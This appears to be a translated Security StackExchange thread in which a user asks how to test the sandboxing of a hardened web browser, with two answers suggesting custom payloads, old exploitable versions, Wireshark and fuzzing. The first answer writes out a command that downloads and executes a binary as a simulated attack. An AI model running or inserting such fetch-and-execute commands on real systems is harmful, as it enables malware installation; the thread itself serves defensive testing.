¿Cómo probar la seguridad de un navegador web reforzado?

Question

¿Cómo probar la seguridad de un navegador web reforzado?

#1 de 40F4 (2 votos)
#2 de Rоry McCune (0 votos)

1

Quiero probar realmente la seguridad de un navegador web de fondo aislado y reforzado después de haber implementado herramientas de seguridad de terceros que afirman que fortalecen el navegador.

Entonces, ¿cómo puedo o qué enfoque debo seguir para probar la seguridad de un navegador web?

Editar: Específicamente quiero probar las capacidades de la caja de arena de las herramientas de terceros que instalé. ¿Realmente prohíben que un malware se propague por toda la PC? El vector de ataque de malware sería una descarga desde un sitio web infectado (simulado).

web-browser penetration-test sandbox automated-testing kali-linux

pregunta user3200534 11.07.2017 - 09:34

fuente

2 respuestas

Lea otras preguntas en las etiquetas web-browser penetration-test sandbox automated-testing kali-linux

Ataque XSS para obtener privilegios de root Servidor web Laravel de Ubuntu 14.04 - ¿Qué debería preocuparme? [cerrado]

score 2 · Answer 1

Si quieres probar las capacidades de la zona de pruebas, necesitas algo como un exploit real que intente hacer algo que haría un atacante. Pero creo que no es realmente posible obtener una vulnerabilidad para un navegador actual. Así que tienes las siguientes opciones:

Pruebe el sandbox con un ejecutable personalizado creando un ejecutable que utilice las técnicas de sandbox e intentará ejecutar una carga útil. Los resultados podrían ser comparables si su navegador no utiliza técnicas de sandbox por sí mismo.
Pruebe su sandbox con una versión anterior de su navegador y una vulnerabilidad pública disponible.
Simule un intento de explotación introduciendo un código personalizado en su navegador como system("wget http://127.0.0.1/t.elf; chmod +x ./elf; ./elf"); . Si su navegador es de código abierto, por ejemplo, puede crear una versión personalizada de su navegador y agregar el código personalizado en una región de código en la que también lo haría una vulnerabilidad real. ser.

score 0 · Answer 2

Esto depende del tipo de prueba que quieras hacer. Si el endurecimiento que has hecho está diseñado para evitar que el navegador filtre información de manera inadecuada, entonces puedes configurar algo como Wireshark en la máquina en la que estás ejecutando para verificar el tráfico enviado desde el navegador.

Si está buscando probar si el navegador se puede bloquear de una manera explotable, entonces eso es una cuestión diferente. Eso sería un proceso complejo, pero algo como American Fuzz Lop podría ser un punto de partida.